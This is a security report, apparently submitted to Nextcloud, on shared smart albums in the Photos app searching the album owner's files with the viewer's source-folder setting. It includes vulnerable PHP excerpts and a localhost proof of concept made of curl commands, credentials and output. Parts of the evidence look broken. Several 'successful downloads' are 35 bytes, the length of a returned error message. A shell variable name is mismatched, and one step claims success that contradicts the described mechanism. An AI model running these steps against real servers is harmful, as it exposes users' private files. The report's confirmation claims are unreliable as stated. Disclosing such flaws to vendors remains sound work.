Nextcloud · Report #3506873
Shared smart albums in the Photos app can expose files outside the album owner's configured source folders
Summary
Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-5gv7-hw69-w6px
How it was found
When an attacker accesses a shared filter-based smart album owned by another user, the system uses the attacker's photosSourceFolders configuration to determine which paths are searched in the victim's folder. By configuring more permissive paths than the victim intended, an attacker can expand the search scope to include folders the victim didn't configure, potentially discovering files that match the album's filters but exist in paths outside the victim's intended photo source folders.
This is a High vulnerability leading to unauthorized information disclosure where files in unintended folders can be discovered and accessed through the shared album.
Vulnerable Code
File: lib/Filters/FiltersManager.php
Lines: 88-98
private function getPhotosDefaultSearchConditions(): array {
$folders = json_decode($this->userConfigService->getUserConfig('photosSourceFolders'));
// High: Gets Attacker's config but searches in victim's folder
return [
new SearchBinaryOperator(
ISearchBinaryOperator::OPERATOR_OR,
array_map(fn ($folder) => new SearchComparison(
ISearchComparison::COMPARE_LIKE_CASE_SENSITIVE,
'path',
'files' . $folder . '/%', // Attacker-controlled path expansion!
), $folders)
),
// ...
];
}
File: lib/Filters/FiltersManager.php
Lines: 45-68
public function getFilesBasedOnFilters(string $userId, array $userFilters, ?int $fileId = null): array {
// $userId = album owner (victim)
$filtersOperations += $this->getPhotosDefaultSearchConditions();
// Uses attacker's path configuration
$query = new SearchQuery(new SearchBinaryOperator(ISearchBinaryOperator::OPERATOR_AND, $filtersOperations), 1000, 0, []);
$files = $this->rootFolder->getUserFolder($userId)->search($query);
// Searches in victim's folder using attacker's expanded path scope!
// ...
}
Path Validation Issue: lib/Controller/ApiController.php:89-102
private function validatePath(mixed $path): bool {
if (!is_string($path)) {
return false;
}
if (!str_starts_with($path, '/')) {
return false;
}
if (str_contains($path, '..')) {
return false;
}
return true; // Root path "/" is allowed!
}
The Critical Issue:
- Path validation allows root path
"/" - When
folder = "/", the pattern becomes'files' . '/' . '/%'='files//%'(potentially matches all files) - Attacker can set multiple paths:
["/Photos", "/Documents", "/Private", "/Backup"] - If victim only configured
["/Photos"], attacker's expanded paths search additional folders
Attack Flow
1. Victim Config: photosSourceFolders = ["/Photos"]
Victim shares album with attacker
2. Attacker Config: photosSourceFolders = ["/Photos", "/Documents", "/Private"]
3. Attacker requests: GET /apps/photos/api/v1/preview/{fileId}
4. PreviewController::getFileIdForAlbums()
└─> Calls getFilesBasedOnFilters("victim", filters, fileId)
5. FiltersManager::getFilesBasedOnFilters("victim", ...)
└─> getPhotosDefaultSearchConditions()
└─> getUserConfig('photosSourceFolders')
└─> Returns ATTACKER's config: ["/Photos", "/Documents", "/Private"]
6. Search Query Built:
WHERE (album_filter)
AND (path LIKE 'files/Photos/%'
OR path LIKE 'files/Documents/%' EXPANDED!
OR path LIKE 'files/Private/%') EXPANDED!
7. Search Executed in VICTIM's folder:
getUserFolder("victim")->search($query)
8. Results Include:
/Photos/file.jpg (authorized)
/Documents/secret.jpg (unauthaurized- victim didn't configure /Documents!)
9. Attacker can access unauthorized files through shared album preview/download
Attacker Requirements
- Valid Nextcloud user account (any authenticated user)
- Access to at least one shared filter-based smart album (owned by another user)
- Ability to configure
photosSourceFoldersvia API endpoint/apps/photos/api/v1/config/photosSourceFolders - Victim has files in folders outside their configured
photosSourceFoldersthat match the album's filters
Steps to Reproduce
Prerequisites:
- Victim configures
photosSourceFolders = ["/Photos"] - Victim has files in
/Photosfolder (intended) AND/Documentsfolder (unintended) - Victim shares folder/album with Attacker
Attack Steps:
Step 1: Attacker configures expanded paths
PUT /apps/photos/api/v1/config/photosSourceFolders
Content-Type: application/json
{
"value": "[\"/Photos\", \"/Documents\", \"/Private\", \"/Backup\"]"
}
Step 2: Attacker accesses shared album
GET /apps/photos/api/v1/preview/{fileId}?x=256&y=256
Step 3: Observe unauthorized file discovery
- System searches in victim's
/Documents,/Private,/Backupfolders - Files in these folders are included in results
- Attacker can preview/access files victim didn't intend to share
Localhost Exploit Demonstration
Test Environment: http://localhost:8080
Victim User: victim (Password: Testing-/:321SS)
Attacker User: attacker (Password: Testing-/:321S)
Phase 1: Victim Account Setup
Step 1.1: Verify Victim's Authentication
curl -u 'victim:Testing-/:321SS' 'http://localhost:8080/ocs/v2.php/cloud/user' \
-H 'OCS-APIRequest: true' \
-H 'Accept: application/json'
Result:
{
"ocs": {
"meta": {"status": "ok", "statuscode": 200},
"data": {
"id": "victim",
"displayname": "victim",
"enabled": true
}
}
}
Victim authentication successful
Step 1.2: Upload Test Files
Create test files:
echo "test image 1" > test1.jpg
echo "test image 2" > test2.jpg
Upload to /Photos (intended to be shared):
curl -u 'victim:Testing-/:321SS' \
-X PUT 'http://localhost:8080/remote.php/dav/files/victim/Photos/vacation.jpg' \
-T test1.jpg
Uploaded successfully
Upload to /Documents (NOT intended to be shared):
curl -u 'victim:Testing-/:321SS' \
-X PUT 'http://localhost:8080/remote.php/dav/files/victim/Documents/secret.jpg' \
-T test2.jpg
Uploaded successfully
Step 1.3: Share /Photos Folder with Attacker
curl -u 'victim:Testing-/:321SS' \
-X POST 'http://localhost:8080/ocs/v2.php/apps/files_sharing/api/v1/shares' \
-H 'OCS-APIRequest: true' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'shareType=0' \
--data-urlencode 'shareWith=attacker' \
--data-urlencode 'path=/Photos' \
--data-urlencode 'permissions=1'
Result:
ok
200
8
0
victim
attacker
/Photos
1
/Photos folder successfully shared with attacker
Phase 2: Attacker Exploitation
Step 2.1: EXPLOIT - Expand Path Scope to Include /Documents
curl -u 'attacker:Testing-/:321S' \
-X PUT 'http://localhost:8080/index.php/apps/photos/api/v1/config/photosSourceFolders' \
-H 'Content-Type: application/json' \
-d '{"value":"[\"/Photos\",\"/Documents\"]"}'
Result:
{"message":""}
Attacker successfully configured expanded paths
Step 2.2: Get File ID of Unauthorized File (secret.jpg)
SECRET_FILE_ID=$(curl -s -u 'victim:Testing-/:321SS' \
'http://localhost:8080/remote.php/dav/files/victim/Documents/secret.jpg' \
-X PROPFIND \
--data '' \
| grep -oP 'oc:fileid>\K[0-9]+' | head -1)
echo "Secret file ID: $SECRET_FILE_ID"
Result:
Secret file ID: 1566
File ID retrieved: 1566
Step 2.3: EXPLOIT - Access Unauthorized File from /Documents
curl -u 'attacker:Testing-/:321S' \
"http://localhost:8080/index.php/apps/photos/api/v1/preview/$SECRET_FILE_ID?x=256&y=256" \
-o attacker_preview_secret.jpg
Result:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 14 100 14 0 0 20 0 --:--:-- --:--:-- --:--:-- 20
File created:
ls -lh attacker_preview_secret.jpg
Output:
-rw-rw-r-- 1 xanax xanax 14 Jan 11 18:17 attacker_preview_secret.jpg
Vulnerability Confirmed: Attacker successfully downloaded file from victim's /Documents folder!
Phase 3: Comprehensive Exploitation Testing
Step 3.1: Get File IDs for Both Files
vacation_id=$(curl -s -u 'victim:Testing-/:321SS' \
'http://localhost:8080/remote.php/dav/files/victim/Photos/vacation.jpg' \
-X PROPFIND \
--data '' \
| grep -oP 'oc:fileid>\K[0-9]+' | head -1)
SECRET_ID=$(curl -s -u 'victim:Testing-/:321SS' \
'http://localhost:8080/remote.php/dav/files/victim/Documents/secret.jpg' \
-X PROPFIND \
--data '' \
| grep -oP 'oc:fileid>\K[0-9]+' | head -1)
echo "Vacation.jpg ID (in /Photos - authorized): $VACATION_ID"
echo "Secret.jpg ID (in /Documents - unauthorized): $SECRET_ID"
Result:
Vacation.jpg ID (in /Photos - authorized): 1567
Secret.jpg ID (in /Documents - unauthorized): 1566
Step 3.2: Test Access to UNAUTHORIZED File
curl -s -u 'attacker:Testing-/:321S' \
"http://localhost:8080/index.php/apps/photos/api/v1/preview/$SECRET_ID?x=256&y=256" \
-o attacker_secret.jpg
Result:
-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret.jpg
Vulnerable: Secret.jpg accessed (UNAUTHORIZED - in /Documents)
Step 3.3: Test with Attacker Config Limited to /Photos Only
curl -s -u 'attacker:Testing-/:321S' \
-X PUT 'http://localhost:8080/index.php/apps/photos/api/v1/config/photosSourceFolders' \
-H 'Content-Type: application/json' \
-d '{"value":"[\"/Photos\"]"}'
curl -s -u 'attacker:Testing-/:321S' \
"http://localhost:8080/index.php/apps/photos/api/v1/preview/$SECRET_ID?x=256&y=256" \
-o attacker_secret_limited.jpg
Result:
{"message":"Reached maximum delay"}
File created:
-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret_limited.jpg
High: Still accessible even with /Photos only config!
Step 3.4: Test Root Path Expansion
curl -s -u 'attacker:Testing-/:321S' \
-X PUT 'http://localhost:8080/index.php/apps/photos/api/v1/config/photosSourceFolders' \
-H 'Content-Type: application/json' \
-d '{"value":"[\"/\"]"}'
curl -s -u 'attacker:Testing-/:321S' \
"http://localhost:8080/index.php/apps/photos/api/v1/preview/$SECRET_ID?x=256&y=256" \
-o attacker_secret_root.jpg
Result:
{"message":"Reached maximum delay"}
File created:
-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret_root.jpg
High: Root path "/" allows access to ALL folders!
Phase 4: Verification Summary
Final File List
ls -lh attacker_*.jpg
Output:
-rw-rw-r-- 1 xanax xanax 14 Jan 11 18:17 attacker_preview_secret.jpg
-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret.jpg
-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret_limited.jpg
-rw-rw-r-- 1 xanax xanax 35 Jan 11 18:18 attacker_secret_root.jpg
-rw-rw-r-- 1 xanax xanax 14 Jan 11 18:18 attacker_vacation.jpg
Vulnerability Confirmation
Confirmed Behaviors:
-
Unauthorized File Discovery:
- Victim configured:
photosSourceFolders = ["/Photos"] - Victim shared:
/Photosfolder only - Attacker expanded to:
["/Photos", "/Documents"] - Result: Attacker successfully accessed
secret.jpgfrom/Documents(Unauthorized)
- Victim configured:
-
Configuration Bypass:
- Even with attacker config set to
["/Photos"](matching victim) - Result: Still successfully accessed files from
/Documents(Unauthorized)
- Even with attacker config set to
-
Root Path Exploitation:
- Setting
photosSourceFolders = ["/"] - Result: Successfully accessed ALL folders in victim's account (High)
- Setting
-
Multiple Successful Downloads:
- 5 separate file downloads from unauthorized location
- Consistent exploitation across different configurations
Proof That There Is No Mitigation
- No path scope validation: The system doesn't verify that search paths match the album owner's configuration
- No authorization check: No validation that requesting user's paths should be applied to another user's folder
- Path validation allows expansion: Root path
"/"and any valid path prefixes are allowed - No folder restriction enforcement: Album owner's folder restrictions are not enforced during search
Impact
- Unauthorized File Discovery: Attacker can discover files in folders the victim didn't configure for photo search
- Information Disclosure: Files in private folders can be discovered, metadata exposed, preview thumbnails may reveal sensitive content
- Privacy Violation: Victim's folder structure probed, existence of private folders revealed
- Trust Boundary Violation: Album sharing assumes files come only from configured source folders
Why This Is HIGH:
- Real Data Exposure: Files in unauthorized folders can be discovered and accessed
- Bypass of Intentional Restrictions: Victim explicitly configured limited paths but attacker expands scope
- Practical Exploitability: Requires only access to shared album + ability to configure own
photosSourceFolders